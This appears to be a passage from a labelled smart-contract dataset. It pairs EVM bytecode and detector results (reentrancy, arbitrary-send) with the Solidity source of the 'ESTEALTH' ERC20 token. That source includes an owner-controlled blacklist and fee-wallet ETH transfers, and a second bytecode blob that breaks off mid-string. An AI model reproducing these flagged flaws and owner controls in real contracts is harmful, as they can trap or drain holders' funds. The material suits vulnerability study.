0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ef578063c3c8cd801461030f578063c9567bf914610324578063cb3dfa1814610339578063dd62ed3e1461035957600080fd5b806370a0823114610265578063715018a6146102855780638da5cb5b1461029a57806395d89b41146102c257600080fd5b806323b872dd116100dc57806323b872dd146101d4578063313ce567146101f4578063537df3b6146102105780635932ead1146102305780636fc3eaec1461025057600080fd5b806306fdde031461011957806308aad1f11461015c578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600881526721b430b222b637b760c11b60208201525b60405161015391906113f4565b60405180910390f35b34801561016857600080fd5b5061017c61017736600461145e565b61039f565b005b34801561018a57600080fd5b5061019e61019936600461147b565b6103f6565b6040519015158152602001610153565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610153565b3480156101e057600080fd5b5061019e6101ef3660046114a7565b61040d565b34801561020057600080fd5b5060405160098152602001610153565b34801561021c57600080fd5b5061017c61022b36600461145e565b610476565b34801561023c57600080fd5b5061017c61024b3660046114f6565b6104c1565b34801561025c57600080fd5b5061017c610509565b34801561027157600080fd5b506101c661028036600461145e565b610536565b34801561029157600080fd5b5061017c610558565b3480156102a657600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102ce57600080fd5b5060408051808201909152600481526310d2105160e21b6020820152610146565b3480156102fb57600080fd5b5061019e61030a36600461147b565b6105cc565b34801561031b57600080fd5b5061017c6105d9565b34801561033057600080fd5b5061017c61060f565b34801561034557600080fd5b5061017c610354366004611513565b6109d7565b34801561036557600080fd5b506101c661037436600461152c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d25760405162461bcd60e51b81526004016103c990611565565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000610403338484610a06565b5060015b92915050565b600061041a848484610b2a565b61046c843361046785604051806060016040528060288152602001611710602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610caf565b610a06565b5060019392505050565b6000546001600160a01b031633146104a05760405162461bcd60e51b81526004016103c990611565565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104eb5760405162461bcd60e51b81526004016103c990611565565b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461052957600080fd5b4761053381610ce9565b50565b6001600160a01b03811660009081526002602052604081205461040790610d80565b6000546001600160a01b031633146105825760405162461bcd60e51b81526004016103c990611565565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610403338484610b2a565b600f546001600160a01b0316336001600160a01b0316146105f957600080fd5b600061060430610536565b905061053381610e04565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016103c990611565565b601254600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d03082683635c9adc5dea00000610a06565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070957600080fd5b505afa15801561071d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610741919061159a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078957600080fd5b505afa15801561079d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c1919061159a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080957600080fd5b505af115801561081d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610841919061159a565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061087181610536565b6000806108866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e957600080fd5b505af11580156108fd573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092291906115b7565b505060128054683635c9adc5dea0000060135563ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d391906115e5565b5050565b6000546001600160a01b03163314610a015760405162461bcd60e51b81526004016103c990611565565b600c55565b6001600160a01b038316610a685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c9565b6001600160a01b038216610ac95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c9565b6001600160a01b03831660009081526006602052604090205460ff1615610bb257600080fd5b6001600160a01b0383163014610c7e57600a54600d55600b54600e556012546001600160a01b0383811691161415610beb57600c54600e555b6000610bf630610536565b601254909150600160a81b900460ff16158015610c2157506012546001600160a01b03858116911614155b8015610c365750601254600160b01b900460ff165b15610c7c57610c506103e8683635c9adc5dea00000611618565b811115610c6057610c6081610e04565b476702c68af0bb140000811115610c7a57610c7a47610ce9565b505b505b6000546001600160a01b0384811691161415610c9f576000600e819055600d555b610caa838383610f8d565b505050565b60008184841115610cd35760405162461bcd60e51b81526004016103c991906113f4565b506000610ce0848661163a565b95945050505050565b6000610cf6600a83611618565b610d00908361163a565b600f549091506001600160a01b03166108fc610d1d600a85611618565b6040518115909202916000818181858888f19350505050158015610d45573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610caa573d6000803e3d6000fd5b6000600854821115610de75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c9565b6000610df1610f98565b9050610dfd8382610fbb565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4c57610e4c611651565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ea057600080fd5b505afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed8919061159a565b81600181518110610eeb57610eeb611651565b6001600160a01b039283166020918202929092010152601154610f119130911684610a06565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f4a908590600090869030904290600401611667565b600060405180830381600087803b158015610f6457600080fd5b505af1158015610f78573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610caa838383610ffd565b6000806000610fa56110f4565b9092509050610fb48282610fbb565b9250505090565b6000610dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611136565b60008060008060008061100f87611164565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061104190876111c1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110709086611203565b6001600160a01b03891660009081526002602052604090205561109281611262565b61109c84836112ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110e191815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006111108282610fbb565b82101561112d57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836111575760405162461bcd60e51b81526004016103c991906113f4565b506000610ce08486611618565b60008060008060008060008060006111818a600d54600e546112d0565b9250925092506000611191610f98565b905060008060006111a48e878787611325565b919e509c509a509598509396509194505050505091939550919395565b6000610dfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610caf565b60008061121083856116d8565b905083811015610dfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c9565b600061126c610f98565b9050600061127a8383611375565b306000908152600260205260409020549091506112979082611203565b30600090815260026020526040902055505050565b6008546112b990836111c1565b6008556009546112c99082611203565b6009555050565b60008080806112ea60646112e48989611375565b90610fbb565b905060006112fd60646112e48a89611375565b905060006113158261130f8b866111c1565b906111c1565b9992985090965090945050505050565b60008080806113348886611375565b905060006113428887611375565b905060006113508888611375565b905060006113628261130f86866111c1565b939b939a50919850919650505050505050565b60008261138457506000610407565b600061139083856116f0565b90508261139d8583611618565b14610dfd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c9565b600060208083528351808285015260005b8181101561142157858101830151858201604001528201611405565b81811115611433576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461053357600080fd5b60006020828403121561147057600080fd5b8135610dfd81611449565b6000806040838503121561148e57600080fd5b823561149981611449565b946020939093013593505050565b6000806000606084860312156114bc57600080fd5b83356114c781611449565b925060208401356114d781611449565b929592945050506040919091013590565b801515811461053357600080fd5b60006020828403121561150857600080fd5b8135610dfd816114e8565b60006020828403121561152557600080fd5b5035919050565b6000806040838503121561153f57600080fd5b823561154a81611449565b9150602083013561155a81611449565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115ac57600080fd5b8151610dfd81611449565b6000806000606084860312156115cc57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115f757600080fd5b8151610dfd816114e8565b634e487b7160e01b600052601160045260246000fd5b60008261163557634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561164c5761164c611602565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116b75784516001600160a01b031683529383019391830191600101611692565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116eb576116eb611602565b500190565b600081600019048311821515161561170a5761170a611602565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66d30de445c39d28a4b35b13576b842ab007eb578b24ae9568bda7cd644dd4c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,620
0xaff186bbe757e4de421acde3a8816be1a9f6d144
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* NO WEBSITE NO TELEGRAM NO BULLSHIT PURE DEGEN PLAY */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ESTEALTH is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ethereum Stealth 🕵️"; string private constant _symbol = 'ESTEALTH'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084f565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610863945050505050565b34801561047e57600080fd5b5061028d610917565b34801561049357600080fd5b5061028d610954565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d48565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e4d565b60408051808201909152601881527f457468657265756d20537465616c746820f09f95b5efb88f0000000000000000602082015290565b600061054c610545610e78565b8484610e7c565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f68565b6105e08461057c610e78565b6105db85604051806060016040528060288152602001611fdf602891396001600160a01b038a166000908152600460205260408120906105ba610e78565b6001600160a01b03168152602081019190915260400160002054919061133e565b610e7c565b5060019392505050565b6105f2610e78565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e78565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e78565b6001600160a01b03161461070557600080fd5b4761070f816113d5565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061145a565b90505b919050565b610784610e78565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600881526708aa6a88a8298a8960c31b602082015290565b600061054c61085c610e78565b8484610f68565b61086b610e78565b6000546001600160a01b039081169116146108bb576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60005b8151811015610913576001600760008484815181106108d957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108be565b5050565b6010546001600160a01b031661092b610e78565b6001600160a01b03161461093e57600080fd5b600061094930610712565b905061070f816114ba565b61095c610e78565b6000546001600160a01b039081169116146109ac576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0b576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a549030906001600160a01b0316683635c9adc5dea00000610e7c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d6020811015610ab757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158